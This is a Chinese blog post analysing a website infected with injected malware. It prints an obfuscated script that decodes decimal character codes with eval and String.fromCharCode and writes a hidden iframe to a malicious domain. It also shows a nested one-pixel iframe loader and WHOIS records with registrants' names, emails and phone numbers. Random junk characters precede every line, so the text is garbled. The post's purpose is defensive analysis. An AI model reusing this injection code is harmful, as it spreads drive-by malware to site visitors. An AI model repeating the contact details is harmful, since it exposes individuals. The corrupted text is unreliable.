首发在我的博客里面，
5E]t4" BVQy@:K/ http://www.areway.cn/?p=175 xa>| k>I c{z$^)A/ ;]{ee?Q^ld 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
w!.@64- yvAO"43 <script>t=’60,105,102,114,97,109,101,
[q < 'ty 32,115,114,99,61,104,116,116,112,58,47,47,
8-q^.<9 102,114,101,101,46,117,45,117,117,117,46,99,
Harg<l 110,47,101,114,114,111,114,46,104,116,109,
}E'0vf / 32,119,105,100,116,104,61,49,48,48,32,104,
t]/eCsR 101,105,103,104,116,61,48,62,60,47,105,102,
Nk|cU; ?+ 114,97,109,101,62′;
j(;^XO Y# t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
O$Rz /& d9N[f> <script>t=’60,105,102,114,97,109,101,32,115,
!?2)a pM 114,99,61,104,116,116,112,58,47,47,102,114,
8>Cr 6m 101,101,46,117,45,117,117,117,46,99,110,47,
K\Ea\b [ 101,114,114,111,114,46,104,116,109,32,119,
p_FM 2K7! 105,100,116,104,61,49,48,48,32,104,101,105,
]c.w+< 103,104,116,61,48,62,60,47,105,102,114,97,
wQ}r/2n|^ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
RBX<>* document.write(t);</script>
.E4* >@M5 E5k)~P `| <html xmlns=”
k]b*&.EY1 http://www.w3.org/1999/xhtml TdtV ( “>
swKkY`g <head>
18X @0e <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
g3R( ,IH <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
^Q6J$"Tj <title>首页 - 爱生活家庭网
N]<(cG&p vQAFg G 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
FFHq' :v 转换字符串后的大概内容是（谁点击后果自付）：
:^;c(>u{ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
R.~[ $G! odRiCiMH 查询玉米u-uuu.cn的详细信息：
9!FX *} dC Domain Name: u-uuu.cn
!jCgTo
y ROID: 20070901s10001s64972306-cn
)vp0X\3q` Domain Status: ok
v+c> iI Registrant Organization: 王雷
9&6j u L Registrant Name: 王雷
%uW =kr Administrative Email:
czlovexs@126.com gP^2GnjHL8 Sponsoring Registrar: 北京万网志成科技有限公司
hH s/Qtq Name Server:ns.yovole.com
#6`5-5Ks; Name Server:ns1.yovole.com
P3M$&::D- Registration Date: 2007-09-01 17:54
Fn4v/)*H Expiration Date: 2008-09-01 17:54
04a
^ jjc 最后PING了一下地址 都没有什么….
f5jl$ H. JF~i.+{ h 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
u -_r2U <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
Hbm 4oYN <script language=”javascript” src=”
?J}Q&p . http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script $( h T{C,K >
$] 6u#5 这个玉米应该有可能是木马作者的：
lj4Fg*/Yn foafau.info的详细信息：
Zt=|q$" Access to INFO WHOIS information is provided to assist persons in
Q&9 yrx . determining the contents of a domain name registration record in the
)uPJ?
2S9 Afilias registry database. The data in this record is provided by
S-Uod y Afilias Limited for informational purposes only, and Afilias does not
@"@a70WHk guarantee its accuracy. This service is intended only for query-based
.3!Wr*o access. You agree that you will use this data only for lawful purposes
9shf y4?k and that, under no circumstances will you use this data to: (a) allow,
]WT@&F enable, or otherwise support the transmission by e-mail, telephone, or
u9lZHh#V- facsimile of mass unsolicited, commercial advertising or solicitations
la!]Y-s)'4 to entities other than the data recipient’s own existing customers; or
8@3K, [Mo (b) enable high volume, automated, electronic processes that send
s I ,!+ queries or data to the systems of Registry Operator, a Registrar, or
iD^,O)b Afilias except as reasonably necessary to register domain names or
Jt~Iv n, modify existing registrations. All rights reserved. Afilias reserves
rK3kg2H the right to modify these terms at any time. By submitting this query,
3jmo[<p*x you agree to abide by this policy.
.;#T<S " Domain ID:D22418703-LRMS
q=1 N&#R G Domain Name:FOAFAU.INFO
u uzV,q Created On:20-Nov-2007 16:05:42 UTC
N& _~ y| Last Updated On:20-Nov-2007 16:05:44 UTC
Z6!Up1 Expiration Date:20-Nov-2008 16:05:42 UTC
Epzg|L1) Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
f?3-C8 hU Status:CLIENT DELETE PROHIBITED
TlG>)Z@/ Status:CLIENT RENEW PROHIBITED
N&9o 1_} Status:CLIENT TRANSFER PROHIBITED
T j$'B[cv Status:CLIENT UPDATE PROHIBITED
e UPa5{P Status:TRANSFER PROHIBITED
9&mSF0q Registrant ID:GODA-040110615
o%d
TcoCN Registrant Name:liu hong
#Z&/w.D2 Registrant Organization:
[Ny t0l "z Registrant Street1:beijing
QX,$JM3 Registrant Street2:
@gUp9ZwtH Registrant Street3:
k.J%rRneN Registrant City:beijing
[4)Oi-_Y> Registrant State/Province:
UwN V vo Registrant Postal Code:100000
`L1,JE`
q Registrant Country:CN
P_bB{~$ 4 Registrant Phone:+86.860108888777
i'~-\ F! Registrant Phone Ext.:
xR7 ZqTcw Registrant FAX:
:]3X Ez Registrant FAX Ext.:
Vl^(K_`( Registrant Email:bbbshiji@163.com
! _I1=yi Admin ID:GODA-240110615
sp K8^s h Admin Name:liu hong
I-#H+\S Admin Organization:
F(")ga$r Admin Street1:beijing
hlVye&;b8 Admin Street2:
}=R]<`Sj.j Admin Street3:
\#sD`O Admin City:beijing
ZOK!SBn^? Admin State/Province:
5_yQI D%Sq Admin Postal Code:100000
TnW`#.f Admin Country:CN
D9rQ%|} S Admin Phone:+86.860108888777
6BE,L Admin Phone Ext.:
.i0K -B Admin FAX:
kpOdyn( Admin FAX Ext.:
5LeZ ?'"c Admin Email:bbbshiji@163.com
K_Y-N!h Billing ID:GODA-340110615
01kRe Billing Name:liu hong
(;NJ<x Billing Organization:
'' 17(% Billing Street1:beijing
woI5a ee| Billing Street2:
Ee>VA_ss Billing Street3:
dQ:,pe7A Billing City:beijing
z]7 WC Billing State/Province:
A( Ct^/x- Billing Postal Code:100000
b?wrOS Billing Country:CN
Mz+I
YP`L Billing Phone:+86.860108888777
ULx :2jz Billing Phone Ext.:
1{uxpYAP=
Billing FAX:
Ple.fKu Billing FAX Ext.:
n ]%2Kx Billing Email:bbbshiji@163.com
!$I~3_c Tech ID:GODA-140110615
5 ep I'D Tech Name:liu hong
kc'$4 J4Tw Tech Organization:
%VHy?!/ Tech Street1:beijing
DP_b9o
\5 Tech Street2:
Iix,}kzss Tech Street3:
vHaM yA- Tech City:beijing
Bfb~<rs[ Tech State/Province:
ct+F\:e Tech Postal Code:100000
R'c*CLaiE Tech Country:CN
q~{)
{t; Tech Phone:+86.860108888777
%G?@Hye3 Tech Phone Ext.:
*)^6'4= Tech FAX:
manw;`Q Tech FAX Ext.:
4P{|H Tech Email:bbbshiji@163.com
srS!X$cec Name Server:NS27.DOMAINCONTROL.COM
!Vpi1N\ Name Server:NS28.DOMAINCONTROL.COM
)k<cd. MX Name Server:
U1 `5P!ov Name Server:
7H
H Name Server:
~E}kwF Name Server:
H4M=&"ll} Name Server:
V 6} 5^W Name Server:
4KPn V+h"b Name Server:
O>`k@X@9/ Name Server:
kUBE+a6# Name Server:
4:MvC^X~z Name Server:
Jb ,54uN Name Server:
dJuy Jl$* *tjaac;z<J 接着下载每个文件里面的代码：
@ f[- 一步一步看..
+.cpZqWn3 
i?L=8+ 9f 
QE 4 
/*C!]Z>. 
\p!U Y 3' 
Ir;JYY!0? 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
